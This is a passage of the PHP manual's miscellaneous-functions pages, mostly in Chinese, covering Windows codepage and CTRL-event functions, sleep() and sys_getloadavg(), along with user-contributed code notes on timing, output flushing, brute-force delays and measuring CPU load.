        T_PLUS_EQUAL,               // +=
        T_MINUS_EQUAL,              // -=
        T_MUL_EQUAL,                // *=
        T_DIV_EQUAL,                // /=
        T_IS_IDENTICAL,             // ===
        T_IS_NOT_IDENTICAL,         // !==
        T_DOUBLE_COLON,             // ::
        T_PAAMAYIM_NEKUDOTAYIM,     // ::
        T_OBJECT_OPERATOR,          // ->
        T_DOLLAR_OPEN_CURLY_BRACES, // ${
        T_AND_EQUAL,                // &=
        T_MOD_EQUAL,                // %=
        T_XOR_EQUAL,                // ^=
        T_OR_EQUAL,                 // |=
        T_SL,                       // <<
        T_SR,                       // >>
        T_SL_EQUAL,                 // <<=
        T_SR_EQUAL,                 // >>=
    );
    if(is_file($src)) {
        if(!$src = file_get_contents($src)) {
            return false;
        }
    }
    $tokens = token_get_all($src);

    $new = "";
    $c = sizeof($tokens);
    $iw = false; // ignore whitespace
    $ih = false; // in HEREDOC
    $ls = "";    // last sign
    $ot = null;  // open tag
    for($i = 0; $i < $c; $i++) {
        $token = $tokens[$i];
        if(is_array($token)) {
            list($tn, $ts) = $token; // tokens: number, string, line
            $tname = token_name($tn);
            if($tn == T_INLINE_HTML) {
                $new .= $ts;
                $iw = false;
            } else {
                if($tn == T_OPEN_TAG) {
                    if(strpos($ts, " ") || strpos($ts, "\n") || strpos($ts, "\t") || strpos($ts, "\r")) {
                        $ts = rtrim($ts);
                    }
                    $ts .= " ";
                    $new .= $ts;
                    $ot = T_OPEN_TAG;
                    $iw = true;
                } elseif($tn == T_OPEN_TAG_WITH_ECHO) {
                    $new .= $ts;
                    $ot = T_OPEN_TAG_WITH_ECHO;
                    $iw = true;
                } elseif($tn == T_CLOSE_TAG) {
                    if($ot == T_OPEN_TAG_WITH_ECHO) {
                        $new = rtrim($new, "; ");
                    } else {
                        $ts = " ".$ts;
                    }
                    $new .= $ts;
                    $ot = null;
                    $iw = false;
                } elseif(in_array($tn, $IW)) {
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_CONSTANT_ENCAPSED_STRING
                       || $tn == T_ENCAPSED_AND_WHITESPACE)
                {
                    if($ts[0] == '"') {
                        $ts = addcslashes($ts, "\n\t\r");
                    }
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_WHITESPACE) {
                    $nt = @$tokens[$i+1];
                    if(!$iw && (!is_string($nt) || $nt == '$') && !in_array($nt[0], $IW)) {
                        $new .= " ";
                    }
                    $iw = false;
                } elseif($tn == T_START_HEREDOC) {
                    $new .= "<<<S\n";
                    $iw = false;
                    $ih = true; // in HEREDOC
                } elseif($tn == T_END_HEREDOC) {
                    $new .= "S;";
                    $iw = true;
                    $ih = false; // in HEREDOC
                    for($j = $i+1; $j < $c; $j++) {
                        if(is_string($tokens[$j]) && $tokens[$j] == ";") {
                            $i = $j;
                            break;
                        } else if($tokens[$j][0] == T_CLOSE_TAG) {
                            break;
                        }
                    }
                } elseif($tn == T_COMMENT || $tn == T_DOC_COMMENT) {
                    $iw = true;
                } else {
                    if(!$ih) {
                        $ts = strtolower($ts);
                    }
                    $new .= $ts;
                    $iw = false;
                }
            }
            $ls = "";
        } else {
            if(($token != ";" && $token != ":") || $ls != $token) {
                $new .= $token;
                $ls = $token;
            }
            $iw = true;
        }
    }
    return $new;
}

?>

For example:
<?php

$src = <<<EOT
<?php
// some comment
for ( $i = 0; $i < 99; $i ++ ) {
   echo "i=${ i }\n";
   /* ... */
}
/** ... */
function abc() {
   return   "abc";
};

abc();
?>
<h1><?= "Some text " . str_repeat("_-x-_ ", 32);;; ?></h1>
EOT;
var_dump(compress_php_src($src));
?>

And the result is:
string(125) "<?php for(=0;<99;++){echo "i=\n";}function abc(){return "abc";};abc(); ?>
<h1><?="Some text ".str_repeat("_-x-_ ",32)?></h1>"
Jouni 03-Oct-2007 05:14
If you wish to just remove excess whitespace from a string, see the example "Strip whitespace" in the preg_replace documentation (http://www.php.net/manual/en/function.preg-replace.php).
flconseil at yahoo dot fr 08-Jul-2006 08:57
Beware that this function uses the output buffering mechanism.

If you give a 'stream wrapped' path as argument, anything echoed by the stream wrapper during this call (e.g. trace messages) won't be displayed to the screen but will be inserted in php_strip_whitespace's result.

If you execute this stripped code later, it will display the messages which should have been output during php_strip_whitespace's execution !


Convert string from one codepage to another

  • ? php_strip_whitespace
  • sapi_windows_cp_get ?
  • PHP Manual
  • 杂项 函数
  • Convert string from one codepage to another

sapi_windows_cp_conv

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_conv — Convert string from one codepage to another

说明

sapi_windows_cp_conv(int|string $in_codepage, int|string $out_codepage, string $subject): ?string

Convert string from one codepage to another.

参数

in_codepage

The codepage of the subject string. Either the codepage name or identifier.

out_codepage

The codepage to convert the subject string to. Either the codepage name or identifier.

subject

The string to convert.

返回值

The subject string converted to out_codepage, or null on failure.

错误／异常

This function issues E_WARNING level errors, if invalid codepages are given, or if the subject is not valid for in_codepage.

参见

  • sapi_windows_cp_get() - Get current codepage
  • iconv() - 将字符串从一个字符编码转换到另一个字符编码

User Contributed Notes

There are no user contributed notes for this page.


Get current codepage

  • ? sapi_windows_cp_conv
  • sapi_windows_cp_is_utf8 ?
  • PHP Manual
  • 杂项 函数
  • Get current codepage

sapi_windows_cp_get

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_get — Get current codepage

说明

sapi_windows_cp_get(string $kind = ""): int

Gets the current codepage.

参数

kind

The kind of operating system codepage to get, either 'ansi' or 'oem'. Any other value refers to the current codepage of the process.

返回值

If kind is 'ansi', the current ANSI code page of the operating system is returned. If kind is 'oem', the current OEM code page of the operating system is returned. Otherwise, the current codepage of the process is returned.

参见

  • sapi_windows_cp_set() - Set process codepage

User Contributed Notes

There are no user contributed notes for this page.


Indicates whether the codepage is UTF-8 compatible

  • ? sapi_windows_cp_get
  • sapi_windows_cp_set ?
  • PHP Manual
  • 杂项 函数
  • Indicates whether the codepage is UTF-8 compatible

sapi_windows_cp_is_utf8

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_is_utf8 — Indicates whether the codepage is UTF-8 compatible

说明

sapi_windows_cp_is_utf8(): bool

Indicates whether the codepage of the current process is UTF-8 compatible.

参数

此函数没有参数。

返回值

Returns whether the codepage of the current process is UTF-8 compatible.

参见

  • sapi_windows_cp_get() - Get current codepage

User Contributed Notes

There are no user contributed notes for this page.


Set process codepage

  • ? sapi_windows_cp_is_utf8
  • sapi_windows_generate_ctrl_event ?
  • PHP Manual
  • 杂项 函数
  • Set process codepage

sapi_windows_cp_set

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_set — Set process codepage

说明

sapi_windows_cp_set(int $codepage): bool

Set the codepage of the current process.

参数

codepage

A codepage identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • sapi_windows_cp_get() - Get current codepage

User Contributed Notes

There are no user contributed notes for this page.


Send a CTRL event to another process

  • ? sapi_windows_cp_set
  • sapi_windows_set_ctrl_handler ?
  • PHP Manual
  • 杂项 函数
  • Send a CTRL event to another process

sapi_windows_generate_ctrl_event

(PHP 7 >= 7.4.0, PHP 8)

sapi_windows_generate_ctrl_event — Send a CTRL event to another process

说明

sapi_windows_generate_ctrl_event(int $event, int $pid = 0): bool

Sends a CTRL event to another process in the same process group.

参数

event

The CTRL event to send; either PHP_WINDOWS_EVENT_CTRL_C or PHP_WINDOWS_EVENT_CTRL_BREAK.

pid

The ID of the process to which to send the event to. If 0 is given, the event is sent to all processes of the process group.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Basic sapi_windows_generate_ctrl_event() Usage

This example shows how to pass along CTRL+BREAK events to a child process. In this case the child process echoes I'm still alive every second, until the user presses CTRL+BREAK, what causes only the child process to be terminated.

<?php
// forward CTRL+BREAK events to the child process
sapi_windows_set_ctrl_handler('sapi_windows_generate_ctrl_event');

// create a child process which echoes every second
$cmd = ['php', '-r', 'while (true) { echo "I\'m still alive\n"; sleep(1); }'];
$descspec = array(['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']);
$options = ['create_process_group' => true];
$proc = proc_open($cmd, $descspec, $pipes, null, null, $options);
while (true) {
echo fgets($pipes[1]);
}
?>

参见

  • proc_open() - 执行一个命令，并且打开用来输入/输出的文件指针。
  • sapi_windows_set_ctrl_handler() - Set or remove a CTRL event handler

User Contributed Notes

Michael Q 22-Mar-2021 12:05
This function may produce a Warning:

sapi_windows_set_ctrl_handler(): CTRL events trapping is only supported on console in script.php..

It happens when script is started by "php-cgi.exe", so "php.exe -q" should be used instead.

While pressing CTRL+C don't expect the handler to run instantly, i've ran some curl request in a loop and found that handler runs when either response arrives or request finishes by timeout.


Set or remove a CTRL event handler

  • ? sapi_windows_generate_ctrl_event
  • sapi_windows_vt100_support ?
  • PHP Manual
  • 杂项 函数
  • Set or remove a CTRL event handler

sapi_windows_set_ctrl_handler

(PHP 7 >= 7.4.0, PHP 8)

sapi_windows_set_ctrl_handler — Set or remove a CTRL event handler

说明

sapi_windows_set_ctrl_handler(?callable $handler, bool $add = true): bool

Sets or removes a CTRL event handler, which allows Windows CLI processes to intercept or ignore CTRL+C and CTRL+BREAK events. Note that in multithreaded environments, this is only possible when called from the main thread.

参数

handler

A callback function to set or remove. If set, this function will be called whenever a CTRL+C or CTRL+BREAK event occurs. The function is supposed to have the following signature:

handler(int $event): void
event
The CTRL event which has been received; either PHP_WINDOWS_EVENT_CTRL_C or PHP_WINDOWS_EVENT_CTRL_BREAK.
Setting a null handler causes the process to ignore CTRL+C events, but not CTRL+BREAK events.

add

If true, the handler is set. If false, the handler is removed.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Basic sapi_windows_set_ctrl_handler() Usage

This example shows how to intercept CTRL events.

<?php
function ctrl_handler(int $event)
{
switch ($event) {
case PHP_WINDOWS_EVENT_CTRL_C:
echo "You have pressed CTRL+C\n";
break;
case PHP_WINDOWS_EVENT_CTRL_BREAK:
echo "You have pressed CTRL+BREAK\n";
break;
}
}

sapi_windows_set_ctrl_handler('ctrl_handler');
while (true); // infinite loop, so the handler can be triggered
?>

参见

  • sapi_windows_generate_ctrl_event() - Send a CTRL event to another process

User Contributed Notes

There are no user contributed notes for this page.


Get or set VT100 support for the specified stream associated to an output buffer of a Windows console.

  • ? sapi_windows_set_ctrl_handler
  • show_source ?
  • PHP Manual
  • 杂项 函数
  • Get or set VT100 support for the specified stream associated to an output buffer of a Windows console.

sapi_windows_vt100_support

(PHP 7 >= 7.2.0, PHP 8)

sapi_windows_vt100_support — Get or set VT100 support for the specified stream associated to an output buffer of a Windows console.

说明

sapi_windows_vt100_support(resource $stream, ?bool $enable = null): bool

If enable is null, the function returns true if the stream stream has VT100 control codes enabled, false otherwise.

If enable is a bool, the function will try to enable or disable the VT100 features of the stream stream. If the feature has been successfully enabled (or disabled), the function will return true, or false otherwise.

At startup, PHP tries to enable the VT100 feature of the STDOUT/STDERR streams. By the way, if those streams are redirected to a file, the VT100 features may not be enabled.

If VT100 support is enabled, it is possible to use control sequences as they are known from the VT100 terminal. They allow the modification of the terminal's output. On Windows these sequences are called Console Virtual Terminal Sequences.

Warning

This function uses the ENABLE_VIRTUAL_TERMINAL_PROCESSING flag implemented in the Windows 10 API, so the VT100 feature may not be available on older Windows versions.

参数

stream

The stream on which the function will operate.

enable

If bool, the VT100 feature will be enabled (if true) or disabled (if false).

返回值

If enable is null: returns true if the VT100 feature is enabled, false otherwise.

If enable is a bool: 成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | enable is now nullable.

示例

Example #1 sapi_windows_vt100_support() default state

By default, STDOUT and STDERR have the VT100 feature enabled.

php -r "var_export(sapi_windows_vt100_support(STDOUT));echo ' ';var_export(sapi_windows_vt100_support(STDERR));"

以上示例的输出类似于：

true true

By the way, if a stream is redirected, the VT100 feature will not be enabled:

php -r "var_export(sapi_windows_vt100_support(STDOUT));echo ' ';var_export(sapi_windows_vt100_support(STDERR));" 2>NUL

以上示例的输出类似于：

true false

Example #2 sapi_windows_vt100_support() changing state

You won't be able to enable the VT100 feature of STDOUT or STDERR if the stream is redirected.

php -r "var_export(sapi_windows_vt100_support(STDOUT, true));echo ' ';var_export(sapi_windows_vt100_support(STDERR, true));" 2>NUL

以上示例的输出类似于：

true false

Example #3 Example usage of VT100 support enabled

<?php
$out = fopen('php://stdout','w');
fwrite($out, 'Just forgot a lettr.');
// Moves the cursor two characters backwards
fwrite($out, "\033[2D");
// Inserts one blank, shifting existing text to the right -> Just forgot a lett r.
fwrite($out, "\033[1@");
fwrite($out, 'e');
?>

以上示例会输出：

Just forgot a letter.

User Contributed Notes

There are no user contributed notes for this page.


别名 highlight_file

  • ? sapi_windows_vt100_support
  • sleep ?
  • PHP Manual
  • 杂项 函数
  • 别名 highlight_file

show_source

(PHP 4, PHP 5, PHP 7, PHP 8)

show_source — 别名 highlight_file()

说明

此函数是该函数的别名： highlight_file().

User Contributed Notes

There are no user contributed notes for this page.


延缓执行

  • ? show_source
  • sys_getloadavg ?
  • PHP Manual
  • 杂项 函数
  • 延缓执行

sleep

(PHP 4, PHP 5, PHP 7, PHP 8)

sleep — 延缓执行

说明

sleep(int $seconds): int

程序延迟执行指定的 seconds 的秒数。

Note:

为了让程序执行延迟几分之一秒，应使用 usleep()，因为 sleep() 需要 int。例如 sleep(0.25) 会使程序暂停 0 秒。

参数

seconds

暂停的秒数（必须大于或等于 0）。

返回值

成功时返回 0。

如果函数的调用被一个信号中止，sleep() 会返回一个非零的值。在 Windows 上，该值总是 192（即 Windows API 常量 WAIT_IO_COMPLETION 的值）。其他平台上，该返回值是剩余未 sleep 的秒数。

错误／异常

如果指定的 seconds 是负数，该函数会抛出 ValueError。

更新日志

版本 | 说明
8.0.0 | 此函数在负数 seconds 时抛出 ValueError，之前会引发 E_WARNING 且函数返回 false。

示例

Example #1 sleep() 示例

<?php

// 当前时间
echo date('h:i:s') . "\n";

// 睡眠 10 秒
sleep(10);

// 醒来！
echo date('h:i:s') . "\n";

?>

该例子会在休眠10秒后输出。

05:31:23
05:31:33

参见

  • usleep() - 以指定的微秒数延迟执行
  • time_nanosleep() - 延缓执行若干秒和纳秒
  • time_sleep_until() - 使脚本睡眠到指定的时间为止
  • set_time_limit() - 设置脚本最大执行时间

User Contributed Notes

ealexs at gmail dot com 20-Sep-2022 08:29
From my testing calling sleep(0); will do a `thread spin`.
It would be nice if this was to be put explicitly in the documentation as it is useful. You can do the minimum wait without overloading the CPU thread.
Anonymous 08-Sep-2021 08:08
I wrote a simple method for sleeping with a float, which also allows you to do milliseconds (via fractional seconds).

<?php
  function sleepFloatSecs($secs) {
    $intSecs = intval($secs);
    $microSecs = ($secs - $intSecs) * 1000000;

    if($intSecs > 0) {
      sleep($intSecs);
    }
    if($microSecs > 0) {
      usleep($microSecs);
    }
  }
?>

And testing on my machine it works perfectly:

<?php
  $x = [0.100,0.250,0.5,1.0,1.5,2.0,2.5];

  foreach($x as $secs) {
    $t = microtime(true);
    sleepFloatSecs($secs);
    $t = microtime(true) - $t;
    echo "$secs \t => \t $t\n";
  }
?>

Output:

<?php
  0.1     =>    0.10017800331116
  0.25    =>    0.25016593933105
  0.5     =>    0.50015211105347
  1       =>    1.0001430511475
  1.5     =>    1.5003218650818
  2       =>    2.000167131424
  2.5     =>    2.5002470016479
?>
manu7772 at gmail dot com 03-Apr-2021 06:31
Sleep method with parameter in milliseconds :

public static function ms_sleep($milliseconds = 0) {
    if($milliseconds > 0) {
        $test = $milliseconds / 1000;
        $seconds = floor($test);
        $micro = round(($test - $seconds) * 1000000);
        if($seconds > 0) sleep($seconds);
        if($micro > 0) usleep($micro);
    }
}
smcbride at msn dot com 15-Mar-2021 08:55
An example of using sleep to run a set of functions at different intervals.  This is not a replacement for multi-threading, but it could help someone that wants to do something cheap.  You don't have to use eval().  It is just used as an example.  This is different than running a standard 1 second sleep loop, due to sleeping longer does not consume as much CPU.

<?php

// current time
echo date('h:i:s') . "\n";

// Some example functions
function function_a() { echo 'function_a called @ ' . date('h:i:s') . PHP_EOL; }
function function_b() { echo 'function_b called @ ' . date('h:i:s') . PHP_EOL; }
function function_c() { echo 'function_c called @ ' . date('h:i:s') . PHP_EOL; }

// Add some timers (in seconds) with function calls
$sleeptimers = array();
$sleeptimers['5'][0]['func'] = 'function_a();';
$sleeptimers['10'][0]['func'] = 'function_b();';
$sleeptimers['15'][0]['func'] = 'function_c();';

// Process the timers
while(true) {
    $currenttime = time();
    reset($sleeptimers);
    $mintime = key($sleeptimers);
    foreach($sleeptimers as $SleepTime => $Jobs) {
        foreach($Jobs as $JobIndex => $JobDetail) {
            if(!isset($JobDetail['lastrun'])) {
                $sleeptimers[$SleepTime][$JobIndex]['lastrun'] = time();
                if($SleepTime < $mintime) $mintime = $SleepTime;
            } elseif(($currenttime - $JobDetail['lastrun']) >= $SleepTime) {
                eval($JobDetail['func']);
                $lastrun = time();
                $sleeptimers[$SleepTime][$JobIndex]['lastrun'] = $lastrun;
                $mysleeptime = $SleepTime - ($currenttime - $lastrun);
                if($mysleeptime < 0) $mysleeptime = 0;
                if(($currenttime - $JobDetail['lastrun']) < $mintime) $mintime = $mysleeptime;  // account for length of time function runs
                echo 'Sleep time for function ' . $JobDetail['func'] . ' = ' . $mysleeptime . PHP_EOL;
            }
        }
    }
    echo 'Sleeping for ' . $mintime . ' seconds' . PHP_EOL;
    sleep($mintime);
}

?>
Anonymous 17-Jun-2018 10:18
Diego Andrade's msleep function is not compatible with php7's `strict_types`, cast the usleep parameter to int, and it will be,
 usleep((int)($time * 1000000));
sergio at inbep dot com dot br 26-Apr-2016 05:27
To use float or int numbers

function pause($seconds)
{
    usleep($seconds * 1000000);
}

pause(0.25);
Diego Andrade 13-Jan-2016 06:29
Maybe obvious, but this my function to delay script execution using decimals for seconds (to mimic sleep(1.5) for example):

<?php
/**
 * Delays execution of the script by the given time.
 * @param mixed $time Time to pause script execution. Can be expressed
 * as an integer or a decimal.
 * @example msleep(1.5); // delay for 1.5 seconds
 * @example msleep(.1); // delay for 100 milliseconds
 */
function msleep($time)
{
    usleep($time * 1000000);
}
?>
ash b 13-Apr-2014 09:56
re: "mitigating the chances of a full bruit force attack by a limit of 30 lookups a minute."

Not really - the attacker could do 100 requests. Each request might take 2 seconds but it doesn't stop the number of requests done. You need to stop processing more than one request every 2 seconds rather than delay it by 2 seconds on each execution.
Anonymous 10-Mar-2014 06:35
If you are having issues with sleep() and usleep() not responding as you feel they should, take a look at session_write_close()

as noted by anonymous on comments;
"If the ajax function doesn't do session_write_close(), then your outer page will appear to hang, and opening other pages in new tabs will also stall."
LVT 22-Sep-2013 04:13
Another reason for not to abuse sleep( ) is that along with the maximum of 30 sql connections, a shared hosting environment usually limits the number of processes to 20, if your website has many users online and you put sleep( ) everywhere in the code, your server will throw a 508 error (resource limit reached) and will stop serving your website.
LVT 15-Sep-2013 10:12
Always close your SQL connection and free the memory before using sleep( ) or you will be needlessly holding a SQL connection for [xx] seconds, remember that a shared hosting environment only allows max 30 SQL connections at the same time.
joshmeister at gmail dot com 16-Oct-2012 10:51
Here is a simplified way to flush output to browser before completing sleep cycle.  Note the buffer must be "filled" with 4096 characters (bytes?) for ob_flush() to work before sleep() occurs.
<?php
 ob_implicit_flush(true);
 $buffer = str_repeat(" ", 4096);
 echo "see this immediately.<br>";
 echo $buffer;
 ob_flush();
 sleep(5);
 echo "some time has passed";
?>
barlow at fhtsolutions dot com 24-Sep-2011 06:33
You should put sleep into both the pass and fail branches, since an attacker can check whether the response is slow and use that as an indicator - cutting down the delay time. But a delay in both branches eliminates this possibility.
code {@} ashleyhunt [dot] co [dot] uk 30-Jul-2011 06:31
A really simple, but effective way of majorly slowing down bruit force attacks on wrong password attempts.

In my example below, if the end-user gets the password correct, they get to log in at full speed, as expected. For every incorrect password attempt, the users response is delayed by 2 seconds each time; mitigating the chances of a full bruit force attack by a limit of 30 lookups a minute.

I hope this very simple approach will help make your web applications that little bit more secure.

Ashley

<?php
public function handle_login() {
    if($uid = user::check_password($_REQUEST['email'], $_REQUEST['password'])) {
        return self::authenticate_user($uid);
    }
    else {
        // delay failed output by 2 seconds
        // to prevent bruit force attacks
        sleep(2);
        return self::login_failed();
    }
}
?>
soulhunter1987 at post dot ru 18-Aug-2010 12:49
Since sleep() can be interrupted by signals i've made a function which can also be interrupted, but will continue sleeping after the signal arrived (and possibly was handled by callback). It's very useful when you write daemons and need sleep() function to work as long as you 'ordered', but have an ability to accept signals during sleeping.

<?php
function my_sleep($seconds)
{
    $start = microtime(true);
    for ($i = 1; $i <= $seconds; $i ++) {
        @time_sleep_until($start + $i);
    }
}
?>
toddjt78 at msn dot com 09-May-2010 07:39
Simple function to report the microtime since last called or the microtime since first called.

<?php
function stopWatch($total = false,$reset = true){
    global $first_called;
    global $last_called;
    $now_time = microtime(true);
    if ($last_called === null) {
        $last_called = $now_time;
        $first_called = $now_time;
    }
    if ($total) {
        $time_diff = $now_time - $first_called;
    } else {
        $time_diff = $now_time - $last_called;
    }
    if ($reset)
        $last_called = $now_time;
    return $time_diff;
}
?>

$reset  - if true, resets the last_called value to now
$total - if true, returns the time since first called otherwise returns the time since last called
jimmy at powerzone dot dk 06-Mar-2010 08:26
Notice that sleep() delays execution for the current session, not just the script. Consider the following sample, where two computers invoke the same script from a browser, which doesn't do anything but sleep.

PC 1 [started 14:00:00]: script.php?sleep=10 // Will stop after 10 secs
PC 1 [started 14:00:03]: script.php?sleep=0 // Will stop after 7 secs

PC 2 [started 14:00:05]: script.php?sleep=0 // Will stop immediately

http://php.net/session_write_close may be used to address this problem.
mohd at Bahrain dot Bz 16-Dec-2009 01:12
I hope this code will help somebody to solve the problem of not being able to flush or output the buffer to the browser (I use IE7).
It may work for you with just [ echo str_repeat(".", 4096); ] and without even using ob_... and flush.

<?php
ob_start();

ob_implicit_flush(true);
//[ OR ] echo "..."; ob_flush(); flush();

set_time_limit(0);

function sleep_echo($secs) {
    $secs = (int) $secs;
    $buffer = str_repeat(".", 4096);
    //echo $buffer."\r\n<br />\r\n";
    for ($i=0; $i<$secs; $i++) {
        echo date("H:i:s", time())." (".($i+1).")"."\r\n<br />\r\n".$buffer."\r\n<br />\r\n";
        ob_flush();
        flush();
        sleep(1);
        //usleep(1000000);
    }
}

sleep_echo(30);

ob_end_flush();
?>
f dot schima at ccgmbh dot de 10-Nov-2009 06:48
Remember that sleep() means "Let PHP time to do some other stuff".
That means that sleep() can be interrupted by signals. That is important if you work with pcntl_signal() and friends.
Anonymous 08-Feb-2009 12:32
This will allow you to use negative values or valuer below 1 second.

<?php slaap(0.5); ?>

<?php
function slaap($seconds)
{
    $seconds = abs($seconds);
    if ($seconds < 1):
       usleep($seconds*1000000);
    else:
       sleep($seconds);
    endif;
}
?>
webseos at gmail dot com 26-Aug-2008 09:29
This is a critical thing to use time delay function as sleep() Because a beginner can find that this is not working and he/she will see that all output appearing at a time.

A good way to implement this is by using the function -  ob_implicit_flush() then you don't need to use flush() function explicitly.

A sample code :
<?php
ob_implicit_flush(true);
for($i=0;$i<5;$i++)
{
$dis=<<<DIS
<div style="width:200px; background-color:lime;border:1px; text-align:center;text-decoration:blink;">
$i
</div>
DIS;
echo $dis;

sleep(5);
//flush();
}
MPHH 05-Jul-2003 12:33
Note: The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, etc. is not included when determining the maximum time that the script has been running.
hartmut at six dot de 25-Aug-2000 06:38
it is a bad idea to use sleep() for delayed output effects as

1) you have to flush() output before you sleep

2) depending on your setup flush() will not work all the way to the browser as the web server might apply buffering of its own or the browser might not render output it thinks not to be complete

netscape for example will only display complete lines and will not show table parts until the </table> tag arrived

so use sleep if you have to wait  for events and don't want to burn  to much cycles, but don't use it for silly delayed output effects!


获取系统的负载（load average）

  • ? sleep
  • time_nanosleep ?
  • PHP Manual
  • 杂项 函数
  • 获取系统的负载（load average）

sys_getloadavg

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

sys_getloadavg — 获取系统的负载（load average）

说明

sys_getloadavg(): array|false

返回三个系统负载（系统运行队列中的进程数）的样本数据，分别是 1 分钟、5 分钟和 15 分钟之前。失败时返回 false。

参数

此函数没有参数。

返回值

返回一个包含 1 分钟、5 分钟和 15 分钟之前采样数据的 array。

示例

Example #1 sys_getloadavg() 示例

<?php
$load = sys_getloadavg();
if ($load[0] > 80) {
header('HTTP/1.1 503 Too busy, try again later');
die('Server too busy. Please try again later.');
}
?>

注释

Note: 此函数未在 Windows 平台下实现。

User Contributed Notes

Anonymous 04-Oct-2021 08:50
simple function to get the cpu load with availability to most os platforms because I haven't actually been able to find a similar protocol if you happen to be testing out various os platforms...

function cpu_load():?string {
    $load='';
    if(strtolower(PHP_OS_FAMILY)=="windows") {
        exec("wmic cpu get loadpercentage /all",$out);
        if($out) {
            foreach($out as $line) {
                if($line&&preg_match("/^[0-9]+\$/",$line)) {
                    $load=$line;
                    break;
                }
            }
        }
    } else {
        $load=sys_getloadavg();
    }
    return $load;
}
Chris Wheeler 28-Jul-2021 10:28
It is important to note that sys_getloadavg() does not return a percentage, and the numbers that it returns are completely meaningless if you do not know the number of CPU cores. To get the number as a percentage you need to divide the value by the number of CPU cores in the system. (eg: if the value is 0.5 and you have two cores, then you are using 25% of the CPU on average). Here is a simple function to get the values as a percent:

<?php
function percentloadavg(){
    $cpu_count = 1;
    if(is_file('/proc/cpuinfo')) {
        $cpuinfo = file_get_contents('/proc/cpuinfo');
        preg_match_all('/^processor/m', $cpuinfo, $matches);
        $cpu_count = count($matches[0]);
    }

    $sys_getloadavg = sys_getloadavg();
    $sys_getloadavg[0] = $sys_getloadavg[0] / $cpu_count;
    $sys_getloadavg[1] = $sys_getloadavg[1] / $cpu_count;
    $sys_getloadavg[2] = $sys_getloadavg[2] / $cpu_count;

    return $sys_getloadavg;
}
?>
wowabbs+php at gmail dot com 11-Dec-2020 03:02
<?php // Usage processor in Windows using FFI
  if(!dl("ffi")) // Load the extension
    throw new Exception('Cound not load the FFI extension.');

  function GetSystemTimes()
  {
    static $Kernel32;
    $Kernel32??=FFI::cdef(<<<'IDL'
      bool GetSystemTimes(long long *IdleTime, long long *KernelTime, long long *UserTime);
      int GetLastError();
    IDL, 'Kernel32.dll');

    $IdleTime   = FFI::new('long long');
    $KernelTime = FFI::new('long long'); // already has idle time
    $UserTime   = FFI::new('long long');

    if($Kernel32->GetSystemTimes(FFI::addr($IdleTime), FFI::addr($KernelTime), FFI::addr($UserTime)))
      return [
        'Idle'   =>$IdleTime   ->cdata,
        'Kernel' =>$KernelTime ->cdata, // already has idle time
        'User'   =>$UserTime   ->cdata,
      ];
    return [];
  }

  function GetSystemTimesDelta()
  {
    static $Last=null;
    static $Delta=[0,1];
    $Times=GetSystemTimes();
    $Last??=$Times;
    $Idle =$Times['Idle'   ]-$Last['Idle'   ];
    $All  =$Times['Kernel' ]-$Last['Kernel' ]+  // Kernel already has idle time
           $Times['User'   ]-$Last['User'   ];
    if($All>1_000_000) // 100ms
    {
      $Delta=[$Idle, $All];
      $Last=$Times;
    }
    return $Delta;
  }

  function ProcessorLoad()
  {
    static $Load=0;
    [$Idle, $All]=GetSystemTimesDelta();
    if($All>0.0)
      $Load=1-$Idle/$All;
    return $Load;
  }

  function KbHit()
  {
    Static $Sys;
    $Sys??=FFI::cdef('bool _kbhit();', 'msvcrt.dll');
    return $Sys->_kbhit();
  }

  while(!KbHit())
  {
    echo str_pad((string)round(ProcessorLoad()*100), 3, ' ', STR_PAD_LEFT), "%\n";
    sleep(1);
  }
?>
stanislav dot eckert at vizson dot de 18-Jan-2016 05:15
Function to get current CPU load as percentage value under Windows and Linux.

Note: Function is getServerLoad(). It will return a decimal value as percentage of current CPU load or NULL if something went wrong (e. g. insufficient access rights).

<?php

    header("Content-Type: text/plain");

    function _getServerLoadLinuxData()
    {
        if (is_readable("/proc/stat"))
        {
            $stats = @file_get_contents("/proc/stat");

            if ($stats !== false)
            {
                // Remove double spaces to make it easier to extract values with explode()
                $stats = preg_replace("/[[:blank:]]+/", " ", $stats);

                // Separate lines
                $stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
                $stats = explode("\n", $stats);

                // Separate values and find line for main CPU load
                foreach ($stats as $statLine)
                {
                    $statLineData = explode(" ", trim($statLine));

                    // Found!
                    if
                    (
                        (count($statLineData) >= 5) &&
                        ($statLineData[0] == "cpu")
                    )
                    {
                        return array(
                            $statLineData[1],
                            $statLineData[2],
                            $statLineData[3],
                            $statLineData[4],
                        );
                    }
                }
            }
        }

        return null;
    }

    // Returns server load in percent (just number, without percent sign)
    function getServerLoad()
    {
        $load = null;

        if (stristr(PHP_OS, "win"))
        {
            $cmd = "wmic cpu get loadpercentage /all";
            @exec($cmd, $output);

            if ($output)
            {
                foreach ($output as $line)
                {
                    if ($line && preg_match("/^[0-9]+\$/", $line))
                    {
                        $load = $line;
                        break;
                    }
                }
            }
        }
        else
        {
            if (is_readable("/proc/stat"))
            {
                // Collect 2 samples - each with 1 second period
                // See: https://de.wikipedia.org/wiki/Load#Der_Load_Average_auf_Unix-Systemen
                $statData1 = _getServerLoadLinuxData();
                sleep(1);
                $statData2 = _getServerLoadLinuxData();

                if
                (
                    (!is_null($statData1)) &&
                    (!is_null($statData2))
                )
                {
                    // Get difference
                    $statData2[0] -= $statData1[0];
                    $statData2[1] -= $statData1[1];
                    $statData2[2] -= $statData1[2];
                    $statData2[3] -= $statData1[3];

                    // Sum up the 4 values for User, Nice, System and Idle and calculate
                    // the percentage of idle time (which is part of the 4 values!)
                    $cpuTime = $statData2[0] + $statData2[1] + $statData2[2] + $statData2[3];

                    // Invert percentage to get CPU time, not idle time
